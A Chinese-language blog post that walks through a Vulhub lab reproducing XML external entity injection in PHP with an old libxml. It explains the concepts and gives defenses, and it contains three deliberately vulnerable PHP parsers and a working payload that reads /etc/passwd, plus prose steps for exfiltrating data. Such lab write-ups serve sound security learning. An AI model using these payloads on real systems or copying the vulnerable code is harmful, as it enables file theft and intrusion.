天天看點

[Vulhub] PHP環境 XML外部實體注入漏洞(XXE)

0x00 預備知識

XXE是什麼?

XXE(XML External Entity Injection)也就是XML外部實體注入,XXE漏洞發生在應用程式解析XML輸入時,XML檔案的解析依賴libxml 庫,而 libxml2.9 以前的版本預設支援并開啟了對外部實體的引用,服務端解析使用者送出的XML檔案時,未對XML檔案引用的外部實體(含外部一般實體和外部參數實體)做合适的處理,并且實體的URL支援 file:// 和 ftp:// 等協定,導緻可加載惡意外部檔案和代碼,造成 任意檔案讀取、指令執行、内網端口掃描、攻擊内網網站、發起Dos攻擊等危害。

典型攻擊如下:

<?xml version="1.0" encoding="utf-8"?> 	# XML聲明,表明了版本以及編碼方式
<!DOCTYPE xxe[ # 内部DTD
	<!ELEMENT test ANY >	# 聲明了一個限制元素,任何内容都可以
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>	# 一個内部實體,名字是xxe
<test>
	<name>&xxe;</name>					# XML部分,對實體的引用
</test>		
           

定義實體必須寫在DTD部分

為什麼使用DTD?

  1. 通過DTD,每一個XML檔案均可攜帶一個有關自身格式的說明
  2. 每個獨立的團體可一緻地使用某個标準的 DTD 來交換資料
  3. 應用程式也可使用某個标準的 DTD 來驗證從外部接收到的資料。
  4. 可以使用 DTD 來驗證自身的資料
  5. DTD(文檔類型定義 Document Type Defination)的目的是定義 XML 文檔的結構,它使用多個合法元素來定義文檔結構
  6. XML 和 DTD 的關系就像是對象和類的關系,DTD 規定了 XML 的類型

什麼是XML?

  1. XML 是可擴充标記語言(EXtensible Markup Language);
  2. XML 和 HTML 格式差不多,但 XML 一般用于傳輸和存儲資料,HTML 一般用于顯示資料;
  3. XML 标簽沒有被于定義,需要自行定義标簽;
  4. XML 被設計為具有自我描述性;
  5. XML 是 W3C 的推薦标準

XXE原理

有了 XML 實體,關鍵字 ‘SYSTEM’ 會令 XML 解析器從URI中讀取内容,并允許它在 XML 文檔中被替換。是以,攻擊者可以通過實體将他自定義的值發送給應用程式,然後讓應用程式去呈現。 簡單來說,攻擊者強制XML解析器去通路攻擊者指定的資源内容(可能是系統上本地檔案亦或是遠端系統上的檔案)

XXE 的危害有:

  1. 讀取任意檔案;
  2. 指令執行(php環境下,xml指令執行要求php裝有expect擴充。而該擴充預設沒有安裝);
  3. 内網探測/SSRF(可以利用http://協定,發起http請求。可以利用該請求去探查内網,進行SSRF攻擊。)

利用 XXE 對站點進行滲透一般有以下幾個步驟:

  1. 首先讀取核心内容(如配置檔案等,如果讀取的檔案資料有空格的話,是讀不出來的,但可以用base64編碼);
  2. 其次用 xml 将其和某個網址頁面進行拼接(拼接的主要原因是 xml 值存儲資料不一定會輸出是以需要将資料外帶);
  3. 拼接完成後通路頁面就可以啟動後端代碼,然後後端代碼将資料存儲在指定檔案内;
  4. 最後直接通路該檔案擷取傳送出的資料。

外部引用可支援http,file等協定,不用的語言支援的協定不同,但存在一些通用的協定,具體内容如下所示:

[Vulhub] PHP環境 XML外部實體注入漏洞(XXE)

XXE漏洞挖掘

通過手工篡改網站中xml實體中的頭部,加入相關的讀取檔案或者是連結,或者是指令執行等,如 file:///$path/file.txt;http://url/file.txt;看看能否顯示出來

防禦XXE

  1. 使用開發語言提供的禁用外部實體的方法

    PHP:

    libxml_disable_entity_loader(true);

    其他語言:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  2. 過濾使用者送出的XML資料

    關鍵詞:

    SYSTEM

    PUBLIC

0x01 複現環境

漏洞環境:https://vulhub.org/#/environments/php/php_xxe/

  • PHP 7.0.30
  • libxml 2.8.0

libxml2.9.0以後,預設不解析外部實體,導緻XXE漏洞逐漸消亡。為了示範PHP環境下的XXE漏洞,本例會将libxml2.8.0版本編譯進PHP中。PHP版本并不影響XXE利用。

0x02 漏洞複現

通路首頁,發現libxml版本低于2.9.0:

[Vulhub] PHP環境 XML外部實體注入漏洞(XXE)

目錄下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可觸發XXE漏洞。

dom.php:DOMDocument :: loadXML() // 從字元串加載xml文檔

<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);
           

SimpleXMLElement.php:SimpleXMLElement類辨別xml文檔中的元素

<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

           

simplexml_load_string.php:simplexml_load_string() // 接受格式正确的XML字元串,并将其作為對象傳回。

<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;
           

burp抓包進行就修改,加入如下代碼:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe[ 
	<!ELEMENT test ANY >	
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>	
<test>
	<name>&xxe;</name>					
</test>		
           

成功讀取檔案:

[Vulhub] PHP環境 XML外部實體注入漏洞(XXE)

參考連結:

https://www.136.la/jingpin/show-15455.html(XXE漏洞詳解)

https://blog.csdn.net/xmd213131/article/details/105384795(Vulhub-php_xxe)

https://blog.csdn.net/sinat_32366329/article/details/80188837(XML之自定義DTD限制)

https://cloud.tencent.com/developer/article/1171346(XXE漏洞利用技巧)